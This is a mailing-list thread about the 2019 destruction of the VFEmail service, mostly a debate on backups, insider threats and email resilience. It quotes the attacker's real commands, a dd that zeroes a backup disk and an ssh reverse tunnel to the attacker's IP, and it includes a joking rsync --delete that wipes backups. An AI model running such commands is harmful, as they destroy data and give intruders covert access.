Semi Off-topic: VFEMail destroyed

[Pedro David Marco]

FYI
https://thehackernews.com/2019/02/vfemail-cyber-attack.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+TheHackersNews+%28The+Hackers+News+-+Cyber+Security+Blog%29&_m=3n.009a.1926.ca0ao0c4uu.16rq


-PedroD

Re: Semi Off-topic: VFEMail destroyed

[Benny Pedersen]

Pedro David Marco skrev den 2019-02-13 17:51:


https://thehackernews.com/2019/02/vfemail-cyber-attack.html


urls with ?

time for a new plan there now

Re: Semi Off-topic: VFEMail destroyed

[Rupert Gallagher]

On Wed, Feb 13, 2019 at 17:51, Pedro David Marco  wrote:

> FYI
>
> [https://thehackernews.com/2019/02/vfemail-cyber-attack.html](https://thehackernews.com/2019/02/vfemail-cyber-attack.html?utm_source=feedburner&utm_medium=feed&utm_campaign=Feed%3A+TheHackersNews+%28The+Hackers+News+-+Cyber+Security+Blog%29&_m=3n.009a.1926.ca0ao0c4uu.16rq)

Looks like a compromised IP from legit provider.

94.155.49.9

daticum.com

[cooolbox.bg](https://www.cooolbox.bg/)

Re: Semi Off-topic: VFEMail destroyed

[Pedro David Marco]

 
>https://thehackernews.com/2019/02/vfemail-cyber-attack.html

>Looks like a compromised IP from legit provider. 




>94.155.49.9

>daticum.com

>cooolbox.bg



I agree... in any case, facts like this are sad...  :-(
  

Re: Semi Off-topic: VFEMail destroyed

[Kevin A. McGrail]

On 2/14/2019 4:57 AM, Pedro David Marco wrote:
>> >https://thehackernews.com/2019/02/vfemail-cyber-attack.html
>> 
>
> >Looks like a compromised IP from legit provider. 
>
>
> >94.155.49.9
>
> >daticum.com
>
> >cooolbox.bg 
>
>
>
> I agree... in any case, facts like this are sad...  :-(
>
I blame the hackers so I haven't posted about this when all the articles
came out because you don't blame the victim.  Now that a little time has
passed, I hope this is a learning experience.

People should use this as the impetus to review their Disaster Recovery
Plans.  Offsite and cold backups should be a requirement of any good
disaster recovery plan.  One of the reason I pay a premium for
datacenter space through ShipShapeIT.com compared to AWS cloud or Cogent
ping-pipe-power is for managed services which include monthly offsite
backups. Well worth the peace of mind and something to consider if you
are out in the cloud.

Regards,

KAM

-- 
Kevin A. McGrail
Member, Apache Software Foundation
Chair Emeritus Apache SpamAssassin Project
https://www.linkedin.com/in/kmcgrail - 703.798.0171

Re: Semi Off-topic: VFEMail destroyed

[Pedro David Marco]

 

   >On Thursday, February 14, 2019, 5:37:57 PM GMT+1, Kevin A. McGrail 
 wrote:  
 

>I agree... in any case, facts like this are sad...  :-(
   
>I blame the hackers so I haven't posted about this when all the articles came 
>out because you don't blame the victim.  Now that a little time has passed, I 
>hope this is a learning experience.
 
 
>People should use this as the impetus to review their Disaster Recovery Plans. 
> Offsite and cold backups should be a requirement of any good disaster 
>recovery plan.  One of the reason I pay a premium for datacenter >space 
>through ShipShapeIT.com compared to AWS cloud or Cogent ping-pipe-power is for 
>managed services which include monthly offsite backups. Well worth the peace 
>of mind and something to consider if you are out >in the cloud.
 
 
I fully agree Kevin but a Disaster Recovery plan is not the same as a 
"Sabotage Recovery Plan" the later is much much harder to implement than 
the former... :-(    and will always have "holes"    


PedroD   

Re: Semi Off-topic: VFEMail destroyed

[Grant Taylor]

On 02/14/2019 12:11 PM, Pedro David Marco wrote:
I fully agree Kevin but a Disaster Recovery plan is not the same as 
a "Sabotage Recovery Plan" the later is much much harder to 
implement than the former... :-(    and will always have "holes"


To me, there is a big difference in a "hacker" (especially unqualified) 
and "sabotage".


To me, "sabotage" implies that a competitor or somebody else /wanted/ 
VFEmail to fail and took steps to make sure that happened.


I guess an unqualified hacker seems more opportunistic compared to 
sabotage which seems highly targeted.


I feel like there is more to this story.  I have no idea if we will ever 
know it.




--
Grant. . . .
unix || die



smime.p7s
Description: S/MIME Cryptographic Signature

Re: Semi Off-topic: VFEMail destroyed

[@lbutlr]

On 14 Feb 2019, at 09:37, Kevin A. McGrail  wrote:
> I blame the hackers so I haven't posted about this when all the articles came 
> out because you don't blame the victim. 

Sure, I blame the hackers too, but there must be a lot of responsibility placed 
on a company that failed so miserably to protect their clients data through 
backups that were not accessible to be destroyed.

VFE isn’t to blame for the hack, but they are to Balme for losing all the data,.

-- 
C-3PO: We seem to be made to suffer. It's our lot in life.

Re: Semi Off-topic: VFEMail destroyed

[Grant Taylor]

On 2/14/19 6:02 PM, @lbutlr wrote:
VFE isn’t to blame for the hack, but they are to Balme for losing all 
the data,.


Maybe.

If VFE had backups stored off-site via something like Amazon Glacier 
with no normal in-band connectivity between the main systems and the 
backups, and the hacker went out of their way to delete the backups, I 
don't think I could hold /that/ against VFE.


If VFE had backups on a NAS that was mounted on the system that was 
attacked such that an rm -Rf / would destroy them, then sure, I can hold 
/that/ against VFE.


I think we need to know more than we presently do to be able to decide 
how accountable VFE really is.




--
Grant. . . .
unix || die



smime.p7s
Description: S/MIME Cryptographic Signature

Re: Semi Off-topic: VFEMail destroyed

[Kevin A. McGrail]

On 2/14/2019 9:31 PM, Grant Taylor wrote:
> On 2/14/19 6:02 PM, @lbutlr wrote:
>> VFE isn’t to blame for the hack, but they are to Balme for losing all
>> the data,.
>
> Maybe.
>
> If VFE had backups stored off-site via something like Amazon Glacier
> with no normal in-band connectivity between the main systems and the
> backups, and the hacker went out of their way to delete the backups, I
> don't think I could hold /that/ against VFE.
>
> If VFE had backups on a NAS that was mounted on the system that was
> attacked such that an rm -Rf / would destroy them, then sure, I can
> hold /that/ against VFE.
>
> I think we need to know more than we presently do to be able to decide
> how accountable VFE really is.
>
According to the first-hand account I read, they caught the hackers
running dd on their backups.  From Twitter:

Caught the perp in the middle of formatting the backup server:
dd if=/dev/zero of=/dev/da0 bs=4194304 seek=1024 count=399559
via: ssh -v -oStrictHostKeyChecking=no -oLogLevel=error
-oUserKnownHostsFile=/dev/null aktv@94.155.49.9 -R
127.0.0.1:30081:127.0.0.1:22 -N

— VFEmail.net (@VFEmail) 11 February 2019



-- 
Kevin A. McGrail
Member, Apache Software Foundation
Chair Emeritus Apache SpamAssassin Project
https://www.linkedin.com/in/kmcgrail - 703.798.0171

Re: Semi Off-topic: VFEMail destroyed

[@lbutlr]

On 14 Feb 2019, at 19:31, Grant Taylor  wrote:
> 
> If VFE had backups stored off-site via something like Amazon Glacier with no 
> normal in-band connectivity between the main systems and the backups, and the 
> hacker went out of their way to delete the backups, I don't think I could 
> hold /that/ against VFE.

I believe that when you hold customer data you have an obligation to have 
backups that cannot be deterred by accessing your systems. There are many 
possible ways to do this, from a rsync process on another machine that your 
network has no write access to that is able to login and do a backup, all the 
way up to services like backblaze or Arq that will (or can) keep differential 
backups for you.

If your keys and passwords are so poorly guarded that someone can get access to 
everything everywhere and destroy all the data then you did something wrong.



-- 
How soon after the USPS issues the Calvin stamp will you send a letter with one
on the envelope?  Watterson: Immediately. I'm going to get in my horse and
buggy and snail-mail a check for my newspaper subscription.

Re: Semi Off-topic: VFEMail destroyed

[Rupert Gallagher]

Live backups are unheard of. The best I can do is a write protected hourly 
backup, with manual restore...

Sent from ProtonMail Mobile

On Fri, Feb 15, 2019 at 14:07, @lbutlr  wrote:

> On 14 Feb 2019, at 19:31, Grant Taylor  wrote:
>>
>> If VFE had backups stored off-site via something like Amazon Glacier with no 
>> normal in-band connectivity between the main systems and the backups, and 
>> the hacker went out of their way to delete the backups, I don't think I 
>> could hold /that/ against VFE.
>
> I believe that when you hold customer data you have an obligation to have 
> backups that cannot be deterred by accessing your systems. There are many 
> possible ways to do this, from a rsync process on another machine that your 
> network has no write access to that is able to login and do a backup, all the 
> way up to services like backblaze or Arq that will (or can) keep differential 
> backups for you.
>
> If your keys and passwords are so poorly guarded that someone can get access 
> to everything everywhere and destroy all the data then you did something 
> wrong.
>
> --
> How soon after the USPS issues the Calvin stamp will you send a letter with 
> one
> on the envelope? Watterson: Immediately. I'm going to get in my horse and
> buggy and snail-mail a check for my newspaper subscription.

Re: Semi Off-topic: VFEMail destroyed

[@lbutlr]

On 15 Feb 2019, at 06:34, Rupert Gallagher  wrote:
> Live backups are unheard of. 

They aren’t, in fact. But no one was talking about live backups.

-- 
A lot of people and the smell of sausages meant a performance of the
street theatre that was life in Ankh-Morpork.

Re: Semi Off-topic: VFEMail destroyed

[Kevin A. McGrail]

On 2/15/2019 9:04 AM, @lbutlr wrote:
> On 15 Feb 2019, at 06:34, Rupert Gallagher  wrote:
>> Live backups are unheard of. 
> They aren’t, in fact. But no one was talking about live backups.

One of the reasons with virtualized our infrastructure as much as
possible was we do hourly snapshots and offsite copies of the snapshots
of entire running VMs.  Email me off list if you would like any
guidance, happy to share but worried we are way off topic now :-)

Regards,

KAM

-- 
Kevin A. McGrail
Member, Apache Software Foundation
Chair Emeritus Apache SpamAssassin Project
https://www.linkedin.com/in/kmcgrail - 703.798.0171

Re: Semi Off-topic: VFEMail destroyed

[Curtis Maurand]

On 2/15/19 9:44 AM, Kevin A. McGrail wrote:

On 2/15/2019 9:04 AM, @lbutlr wrote:

On 15 Feb 2019, at 06:34, Rupert Gallagher  wrote:

Live backups are unheard of.

They aren’t, in fact. But no one was talking about live backups.


One of the reasons with virtualized our infrastructure as much as 
possible was we do hourly snapshots and offsite copies of the 
snapshots of entire running VMs.  Email me off list if you would like 
any guidance, happy to share but worried we are way off topic now :-)


Regards,



I worked in corporate for an insurance underwriter.  Kevin's backup 
scheme was what we used.  It's also what I'm in the process of 
implementing in my own setup.  I worked for an MSP for a while. I've 
seen the damage that can be had first hand.


KAM

--
Kevin A. McGrail
Member, Apache Software Foundation
Chair Emeritus Apache SpamAssassin Project
https://www.linkedin.com/in/kmcgrail  - 703.798.0171

Re: Semi Off-topic: VFEMail destroyed

[David Niklas]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

On Thu, 14 Feb 2019 18:02:31 -0700
"@lbutlr"  wrote:
> On 14 Feb 2019, at 09:37, Kevin A. McGrail  wrote:
> > I blame the hackers so I haven't posted about this when all the
> > articles came out because you don't blame the victim.   
> 
> Sure, I blame the hackers too, but there must be a lot of
> responsibility placed on a company that failed so miserably to protect
> their clients data through backups that were not accessible to be
> destroyed.
> 
> VFE isn’t to blame for the hack, but they are to Balme for losing all
> the data,.
> 

Not all...
I have 2 accounts with them and my data is safe because I used pop.
I trust no company with my data.
I don't trust my HDD with my data.
I've even learned not to trust my RAM with my data. :(
I use rm so I don't even trust myself with my data.

Let my put forward a wild idea. What if email was a distributed system
with no 1 point of failure like it was originally designed and then these
super shock stories of mass email slaughter would cease to exist?

Sincerely,
David
-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEEL2N7+xWmVOJDQxWGm3XCrhg2YP8FAlxncUsACgkQm3XCrhg2
YP+ybRAAun7Rw5n+JB7RuX9um/li1vfqG9IU2wgCFVa2Q8G3897h4emBS1rJEvIf
3hvUpYjVAMgew7uI7T/3HpLUKC+ztCAkekPTs/JkN/eUwGEA+j9P0W/1ooCbqXhT
VzJRJg7Iyie5ZKRjoW2Jbidvwgc1c7GJouaSL4puO2tbAEzNsuv7nRQy0RYtV1Ky
oXqYekXqOA2D5FKGftx/IRiyKAXfoD4pk/+HYBXGziOfosPBevzU1SGutrH5AHbe
W9iTw2oa9oZOWjSgDQr9V8ew9gZFj+8UuWfkG3G2dAGyqrFEjcFyhPn1szcgwvxE
BrmmJBb7TxjCnenUH1cxCAXLyKoosnVe9zij1wk87hHoDqSLoLiSSIlNEjyWWxg5
1LReVvsjV1f7/UdAo9ZkTmGUt3IkxT2a7xjuWKV1oOXM9HyXNMaIgJAm7ejVPToc
IpQt9kHmMKY7zQahLWBFCNAUiJ6mfG03WcCYB/QgbpAhYeGzo9dmf8E2mb4g77ce
fiCJxFdfTCd5L9VVj2YBeejpTfbRFtBVgm3VFA/Z5IEvLotzQxA4TJxC0wOFXqlw
IPDSs8TJK5KC2T8IQaxwRDDi+H5gFA/0VvYFU+Pnv/1F3yy2tguOk1qbs84o3II0
tufsrf9Asmto4q2shvHgjXoGf09ybZReZ/DjHsQtH07FzQfl2Dg=
=vPlO
-END PGP SIGNATURE-

Re: Semi Off-topic: VFEMail destroyed

[David Niklas]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

On Fri, 15 Feb 2019 06:07:23 -0700
"@lbutlr"  wrote:

> On 14 Feb 2019, at 19:31, Grant Taylor 
> wrote:
> > 
> > If VFE had backups stored off-site via something like Amazon Glacier
> > with no normal in-band connectivity between the main systems and the
> > backups, and the hacker went out of their way to delete the backups,
> > I don't think I could hold /that/ against VFE.  
> 
> I believe that when you hold customer data you have an obligation to
> have backups that cannot be deterred by accessing your systems. There
> are many possible ways to do this, from a rsync process on another
> machine that your network has no write access to that is able to login
> and do a backup, all the way up to services like backblaze or Arq that
> will (or can) keep differential backups for you.


You mean like this?
rsync -cav --delete /current-empty-part s...@backup.com/very-safe-backup
:)

These things need more thought. And no, a purposeful attack could
overcome even Kevin. His servers could fall to the attack that took
vfemail. The guy said that passwords and exploits of some sort were used.
A root password to where the VMs are hosted and backed up would be
critical.
Unless you're doing something clever, Kevin.

Sincerely,
David
-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEEL2N7+xWmVOJDQxWGm3XCrhg2YP8FAlxncU4ACgkQm3XCrhg2
YP8xoBAAq21cs8x+nr9lHtQ2e03Pzvd/3abNGFii04ouJhFF6NfMz1cgeyB9056b
bAuJ9YUHmY3lsDl51ZsMh0JVuVRq+VjPBHawxvzt9WuiXsGPPuyJr+7uyLYIZpa+
AjIWpA+ng2B9574DggBpPPlFZMkxEwysjaBFAScc/Es2TCDXjw8Z44E9fAlGV7vj
2IVC21dzhrbdbcKx/ZlNBV6Xs4t6s/ihlgS1odo/X6OuQsAvqJidLU81O36iYHDf
Rg8VI9HtSzZHrkXLM2K9R5MXCJQCFlYHaKNd/h5vdrOWqWFh/V9oxf/iZY25oy7l
wYsLNbF4TSfsmQ13Nk10FkVkVz2b9mVFAMqvmcR1Be/sreiy70B3DguDT64JUe/n
2uKxXkw5fetesjlwP7cRveRh1hFWhrYGXPlbemwUvQ4XmvUtJacbht2/XoPt4TKz
OYOkIoT1D9aaKA5lhEU6eaDjaCI54RdXo7rQiwzU0bqNiPhkcIhGUJtQEip2noFQ
W5awVVRERykeFHxcbLBHtJKt02Fk/3ONqsTb+7xbr5wlIRRAdSgiL0Y/efZz3BGe
5YrJ9F89BZci1TjZed1d4jl2Zs2g4kIzvO8OxsAmmPnkTZ14zerh2psrm1Vt2SzO
rn7rY9lseKbP5iiFqT6GQxKVzSRbgOrB0sTi93iBVmFAeKKLY8I=
=14si
-END PGP SIGNATURE-

Re: Semi Off-topic: VFEMail destroyed

[Kevin A. McGrail]

On 2/15/2019 9:11 PM, David Niklas wrote:
> Unless you're doing something clever, Kevin.

I would never say I am hacker proof because that's like painting a
bulllseye on your chest.  I am proud to have done nation-state work for
years now. I currently work at InfraShield where our past performance is
grounded in creating and implementing the US nuclear industries cyber
posture.  For me, the concept of redundant redundancies and knowing
things like fault lines for geographically dispersed data centers for
severe catastrophic incidents is nothing new.

At my previous firm, PCCC, for our managed datacenter, we have snapshots
of VMs every hour and we store backups offsite every month in cold
storage.  The only thing that jumps out to me as failures in that
scenario is that the storage of the backups is likely less than 30 miles
away so in the event of a catastrophic situation, both could be
damaged.  However, for the scenario at VFEmail, we are well protected. 

Though everything there speaks of "inside job" to me since it's easy to
figure out the production systems.  Figuring out backup servers or hot
spares?  That requires a lot more intimacy with the network layout.  But
as for "hacking" cold storage, anythings possible with physical
penetration but I think it's up there on the security level.  Hackers
would have to A) find the location and B) physically compromise it while
simultaneously taking out our active systems AND finding the passive
systems AND the backups of the systems all using 7 different peers.  I
have the documentation and I'm not sure I'd want to coordinate that
mission impossible scenario.

Anyway, like I said, the managed services are from ShipshapeIT.com and
they acquired PCCC's IT division 7 years ago so I intimately know their
protocols.  Is it clever?  I don't know but I am an engineer so
sometimes things I find "easy" others find not so much :-)

But yeah, VFEmail failed to have a decent disaster recovery plan. 
Blackhat Hackers suck.

Regards,

KAM

-- 
Kevin A. McGrail
Member, Apache Software Foundation
Chair Emeritus Apache SpamAssassin Project
https://www.linkedin.com/in/kmcgrail - 703.798.0171




signature.asc
Description: OpenPGP digital signature

Re: Semi Off-topic: VFEMail destroyed

[Grant Taylor]

On 2/15/19 7:11 PM, David Niklas wrote:
Let my put forward a wild idea. What if email was a distributed system 
with no 1 point of failure like it was originally designed and then 
these super shock stories of mass email slaughter would cease to exist?


Pray tell, how were distributed email systems designed with no single 
point of failure?




--
Grant. . . .
unix || die



smime.p7s
Description: S/MIME Cryptographic Signature

Re: Semi Off-topic: VFEMail destroyed

[David Niklas]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

On Fri, 15 Feb 2019 19:54:00 -0700
Grant Taylor  wrote:

> On 2/15/19 7:11 PM, David Niklas wrote:
> > Let my put forward a wild idea. What if email was a distributed
> > system > with no 1 point of failure like it was originally designed
> > and then > these super shock stories of mass email slaughter would
> > cease to exist?  
> 
> Pray tell, how were distributed email systems designed with no single
> point of failure?
> 

If I host my own mail it does not effect your mail if my computer and
backups are destroyed.
If I host my mail and yours and my computer and backups are destroyed we
are both affected.
Thus there is no single point of failure.

David
-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEEL2N7+xWmVOJDQxWGm3XCrhg2YP8FAlxnfDYACgkQm3XCrhg2
YP+0Ig//ela+4L6y2yv8NIaR6At5+N2oTUDVrvTfgwh72lPvX0p88+FTKNEFQ2iF
zCSKP5jrwyC8QO44BJEoF+D+SGP4UNiv0E/BXmGFsd7shmfmTD2x8+ApPZPIWKXR
s1D4uTe16c0RC+cywhkLcoXDb9/7p6PBLI1UHQxzmBir33Atapq0zIaTy7Jozcuf
EF5CNCC+1rpnj/LKLUusWVJVZPYdzipFQkyPVj9AHPeOUWnLVtbVIQh8n2XB6ANX
/a9x5mkyCJSAOah6A65xkIx4Uk6F55mykPoLLSyd1kWU6yT1PuVWFSSAF7dOK1gX
3pZXiR9whF8X+tyDQJbVkl59wLmKfvfYLMSQVkgR4KmYJ2jsZKeGPJpZZ/LcFbRv
B+OJ5svTQLdy1VsYA783MTcl1tGnHaJx4u8tsegYLo48QsAWUAIxylrExw3FiZZ5
kVMbsHyuQSTofbM9WkyWLRnSUrxdQL7s5mqty2veHKXo2EcQx8mcWeIY/YO2GBUU
wC9TfIGDBKK8fFpA3DBmA1jbFgvdl1kab+Du4S67LYqvjUcLvDyQ3fLTh4iCA6of
N2ILerNlMHXFajDTf4CeecOD1LEKZOEajEmMhHf2fanKmkbS0mbPe7xy+TtzR0jL
Hw0gxxMEJB4XA0TaHC1l7jQ8fqlLm1p19O8+FXgAxpJPMVN53b8=
=MuNU
-END PGP SIGNATURE-

Re: Semi Off-topic: VFEMail destroyed

[Grant Taylor]

On 2/15/19 7:57 PM, David Niklas wrote:

If I host my own mail it does not effect your mail if my computer and
backups are destroyed.
If I host my mail and yours and my computer and backups are destroyed we
are both affected.
Thus there is no single point of failure.


I'm fairly certain that Gmail, your email, and my email were not 
effected by VFEmail's fiasco.  So where's the SPOF that you're alluding to?




--
Grant. . . .
unix || die



smime.p7s
Description: S/MIME Cryptographic Signature

Re: Semi Off-topic: VFEMail destroyed

[Pedro David Marco]

how backups and off-site backups can help if the hacker is an insider? an 
angry-sysadmin-employee for example? :-( with full-knowledge of the backup 
system.
PedroD 

Re: Semi Off-topic: VFEMail destroyed

[David Niklas]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

On Sat, 16 Feb 2019 02:31:01 -0700
Grant Taylor  wrote:
> On 2/15/19 7:57 PM, David Niklas wrote:
> > If I host my own mail it does not effect your mail if my computer and
> > backups are destroyed.
> > If I host my mail and yours and my computer and backups are destroyed
> > we are both affected.
> > Thus there is no single point of failure.  
> 
> I'm fairly certain that Gmail, your email, and my email were not
> effected by VFEmail's fiasco.  So where's the SPOF that you're alluding
> to?

My context was not that email servers were so unique to the internet
that there is only one in the world, rather that they were sufficiently
few that a failure of one, such as VFEmail, is a major problem for a lot
of people.
My email is affected, just not all gone. I still can't send or receive
emails from my accounts.
Your email is unaffected. But your email and a lot of others is on gmail
and if they suffered the same attack then that would show that gmail is a
SPOF, just like VFEmail.

I don't understand why this is confusing. I've listened to many talks on
distributed systems, such as freenet, and they always mention that they
want no SPOF and then go on to list servers, just like gmail and VFEmail
as a SPOF.

Sincerely,
David
-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEEL2N7+xWmVOJDQxWGm3XCrhg2YP8FAlxoMTwACgkQm3XCrhg2
YP8gqA//VOBbFU4+pSvul/uZIujUnaBzOXY1RQa7ncZupIdGo279Qhq6UqZuMenp
fz77UNmcm/yU6AFSPSfPqIB+WeSmaHlPGMlzozRoInQAkLxprSmyyYN3M7yqo1qQ
UFnOK+CGJ3Fj+/xP8QmQJBItzYfkczBYYenfU+sHk0yKQsSSGfKoQaf3dn9h7XqN
snuQNsh/wvggcPliKI51Ll2SfNmEFuLHPXkgo0a+D5Z3KzIYiO2KjMVGEnK1NlvZ
solKEz5FBVjtLuo6+HRVJmBt4tyNP1cHtq9iXkiJ9Oi4f4NaVoMsOIEGPHX9O4Fj
/J8xMg4jmOPhS+aByt4an1DIBBpGEfo5Umr3sheBdGzv6aDtDgu6U+MtPMgXuMs3
qVf7/AidbF2wLIeVZjtY4ANaiGPgHgCvx23FbWp6Mp9jLt1ctTwXScHrNrUhhxnu
K23gVp6bgtrqk9TZD0IRCraH26132fyuLq3rQRFTr64F4A9Ag9e57d1rDXm8Hg+V
7LWEpFC8viN1lN8BcmqKchE5zstBA49pZ3hxWCWXdwsqq+xozem6B2e9BxDICeWI
Xo3LdcFNWK4nTzOG2PpdhaQHSHTuZwWuX4mwaZGJ6sxriQIC/7AoFxR3ztO56WX4
Coy3Q/Rx+LSapie2dpDAfIrfiUgIbdOipxmhebxnwYLRxT43kBE=
=6DPV
-END PGP SIGNATURE-

Re: Semi Off-topic: VFEMail destroyed

[Kevin A. McGrail]

Insider threat detection is a whole different ball of wax from backup and
disaster recovery.  However, there are numerous protocols to help for that
threat.  Specifically Principle of Least Privilege (POLP) and Separation of
Duties.  I consider this part and parcel of a Zero Trust network design.

I'll send you a white paper I wrote last year that I still need to get
reviewed and posted publicly.  Would like your comments on it.

Regards,
KAM

On Sat, Feb 16, 2019, 05:10 Pedro David Marco  how backups and off-site backups can help if the hacker is an insider? an
> angry-sysadmin-employee for example? :-( with full-knowledge of the backup
> system.
>
> 
> PedroD
>

Re: Semi Off-topic: VFEMail destroyed

[Grant Taylor]

On 2/16/19 8:50 AM, David Niklas wrote:
My context was not that email servers were so unique to the internet 
that there is only one in the world, rather that they were sufficiently 
few that a failure of one, such as VFEmail, is a major problem for a 
lot of people.


That is a decidedly different problem than what usually considered SPOF.

My email is affected, just not all gone. I still can't send or receive 
emails from my accounts.


I'm sorry that you (and others) were effected.

Your email is unaffected. But your email and a lot of others is on gmail 
and if they suffered the same attack then that would show that gmail is 
a SPOF, just like VFEmail.


My email is decidedly not on Gmail.  Seeing as how I run my own email 
infrastructure, I'm not effected by anybody's actions by my own (or 
someone that hacks me and pretends to be me).  VFEmail, Gmail, Yahoo, 
etc can all have failures and my email, along with the hundreds of 
thousands of other email servers, will not be effected.


I also know for a fact that it would be EXTREMELY DIFFICULT, if not 
actually impossible, for the same type of attack to happen to Gmail. 
Between the infrastructure, number and type of backups, and monitoring, 
such an attack would be EXTREMELY DIFFICULT to conduct against to Gmail.


I don't understand why this is confusing. I've listened to many talks 
on distributed systems, such as freenet, and they always mention that 
they want no SPOF and then go on to list servers, just like gmail and 
VFEmail as a SPOF.


The /desire/ to avoid a SPOF is independent of what actually exists.

It's somewhat easy to shard different parts of an email service across 
multiple separate / discrete pieces of infrastructure, such that the 
blast radius of a catastrophic failure in one part has little to no 
effect on another part.  But that's complex to do and requires people 
that are very good at what they do.  Even then, it's possible, all be it 
difficult, to turn a portion of the infrastructure into a crater.  It's 
just a matter of how much that portion impacts.


Thus why I asked you earlier, "how were distributed email systems 
designed with no single point of failure?"  How do you design an email 
system that doesn't have any single points that impact everything.  Even 
if your infrastructure is highly redundant, and highly distributed, you 
still end up with a dependency on the domain name that is common across it.


Sure, DNS infrastructure can be made highly redundant.  But that's 
functionally serving the same (single for the sake of this discussion) 
name.  Then there is the registrar and DNS infrastructure above that, 
which are largely SPOF against a sufficiently motivated attacker.


Sure, you could arrange Business-to-Business partner relationship with 
big email players such that they know how to route to you without using 
DNS.  But that's … fragile … and requires a LOT of work.  Plus, it 
doesn't scale to Internet size.


There are a LOT of things that can be done to minimize and / or contain 
the blast.  But there is still a blast radius and thing in it will be 
effected.


So … Pray tell, how were distributed email systems (historically) 
designed with no single point of failure (like I have outlined herein)?




--
Grant. . . .
unix || die



smime.p7s
Description: S/MIME Cryptographic Signature

Re: Semi Off-topic: VFEMail destroyed

[Kevin A. McGrail]

On 2/16/2019 12:50 PM, Grant Taylor wrote:
>
> I also know for a fact that it would be EXTREMELY DIFFICULT, if not
> actually impossible, for the same type of attack to happen to Gmail.
> Between the infrastructure, number and type of backups, and
> monitoring, such an attack would be EXTREMELY DIFFICULT to conduct
> against to Gmail.

We are way off topic from Apache SpamAssassin but I was the subject
matter expert on Google for the first US Agency to go to the cloud using
G Suite.  Google's infrastructure checks all the boxes for resiliency
from my POV.  Just really great engineering and inventions.  Things like
MapReduce (the origins of Apache Hadoop) and the distributed, resilient
storage inherent therein are key examples.  They have also been great
sponsors of the ASF too.

Now can we talk about spam or at least with Perl rules that you have to
mention beer in a post?

-- 
Kevin A. McGrail
Member, Apache Software Foundation
Chair Emeritus Apache SpamAssassin Project
https://www.linkedin.com/in/kmcgrail - 703.798.0171

Re: Semi Off-topic: VFEMail destroyed

[David Niklas]

-BEGIN PGP SIGNED MESSAGE-
Hash: SHA256

On Sat, 16 Feb 2019 10:50:58 -0700
Grant Taylor  wrote:

> On 2/16/19 8:50 AM, David Niklas wrote:
> > My context was not that email servers were so unique to the internet
> > > that there is only one in the world, rather that they were
> > > sufficiently
>  > few that a failure of one, such as VFEmail, is a major problem for a
>  > > lot of people.  
> 
> That is a decidedly different problem than what usually considered SPOF.
> 
> > My email is affected, just not all gone. I still can't send or
> > receive > emails from my accounts.  
> 
> I'm sorry that you (and others) were effected.
> 
> > Your email is unaffected. But your email and a lot of others is on
> > gmai  
> l > and if they suffered the same attack then that would show that
> gmail is
>  > a SPOF, just like VFEmail.  
> 
> My email is decidedly not on Gmail.  Seeing as how I run my own email
> infrastructure, I'm not effected by anybody's actions by my own (or
> someone that hacks me and pretends to be me).  VFEmail, Gmail, Yahoo,
> etc can all have failures and my email, along with the hundreds of
> thousands of other email servers, will not be effected.
> 
> I also know for a fact that it would be EXTREMELY DIFFICULT, if not
> actually impossible, for the same type of attack to happen to Gmail.
> Between the infrastructure, number and type of backups, and monitoring,
> such an attack would be EXTREMELY DIFFICULT to conduct against to Gmail.
> 
> > I don't understand why this is confusing. I've listened to many talks
> > > on distributed systems, such as freenet, and they always mention
> > > that > they want no SPOF and then go on to list servers, just like
> > > gmail and > VFEmail as a SPOF.  
> 
> The /desire/ to avoid a SPOF is independent of what actually exists.
> 
> It's somewhat easy to shard different parts of an email service across
> multiple separate / discrete pieces of infrastructure, such that the
> blast radius of a catastrophic failure in one part has little to no
> effect on another part.  But that's complex to do and requires people
> that are very good at what they do.  Even then, it's possible, all be
> it difficult, to turn a portion of the infrastructure into a crater.
> It's just a matter of how much that portion impacts.
> 
> Thus why I asked you earlier, "how were distributed email systems
> designed with no single point of failure?"  How do you design an email
> system that doesn't have any single points that impact everything.
> Even if your infrastructure is highly redundant, and highly
> distributed, you still end up with a dependency on the domain name that
> is common across it.
> 
> Sure, DNS infrastructure can be made highly redundant.  But that's
> functionally serving the same (single for the sake of this discussion)
> name.  Then there is the registrar and DNS infrastructure above that,
> which are largely SPOF against a sufficiently motivated attacker.
> 
> Sure, you could arrange Business-to-Business partner relationship with
> big email players such that they know how to route to you without using
> DNS.  But that's … fragile … and requires a LOT of work.  Plus, it
> doesn't scale to Internet size.
> 
> There are a LOT of things that can be done to minimize and / or contain
> the blast.  But there is still a blast radius and thing in it will be
> effected.
> 
> So … Pray tell, how were distributed email systems (historically)
>  designed with no single point of failure (like I have outlined herein)?

Under those conditions even so much as cutting the (plastic) internet
cable would be all that is needed to preform a SPOF against what I
proposed.
It is, therefore, unrealistic for me to define a distributed email system
as not having a SPOF with respect to your definition herein.
My understanding would be more of a "contain the blast" method. And I
still am of the opinion that it would do a better job than is currently
being employed, at a fraction of the cost (esp. cost to user privacy).

Please note, however, that individuals normally have IPs, not DNS names,
so that cuts off a main route of attack.

Sincerely,
David
-BEGIN PGP SIGNATURE-

iQIzBAEBCAAdFiEEL2N7+xWmVOJDQxWGm3XCrhg2YP8FAlxow0YACgkQm3XCrhg2
YP+HQg/+LcVody5yryzDIjFJqgmL7Jm9hRv3OMdfwiwADYHF75bQwCurHzl8i3JP
qWB8EsisXOTyHC1WMltu2RfK4kXstUtwWYhWjUjzDMvEqGI05FCcDjz0FlebIeIx
loQFiP17HOLCN+iWMsUu16xqnVSxk+lpEnpt9HEJNpFBOJ6lWRL4gO8xgAyOP/Fi
yrItHRBuSnXS4YPm4Q0wGTYCKRAa5TqPzWoIzQm/eTvTKGxUMH2fKlXqbKbKOjT+
hO+glrHMipXC+DAA0HER5Juj0rGMeUMq29yXg3PlWnjgikj3lgYXtbUkVaSYH6so
+wT38DzzpxLG50m6w3CBD+laIsljq3IgY3RPi5M/3+InR4DRAMmwwHFMvx767pnI
8c3SeUtbimSYQBRPcSwQKhV8H4zURONPiUtVZr9jteOe5cQVeBU6ONVHzq2PNobz
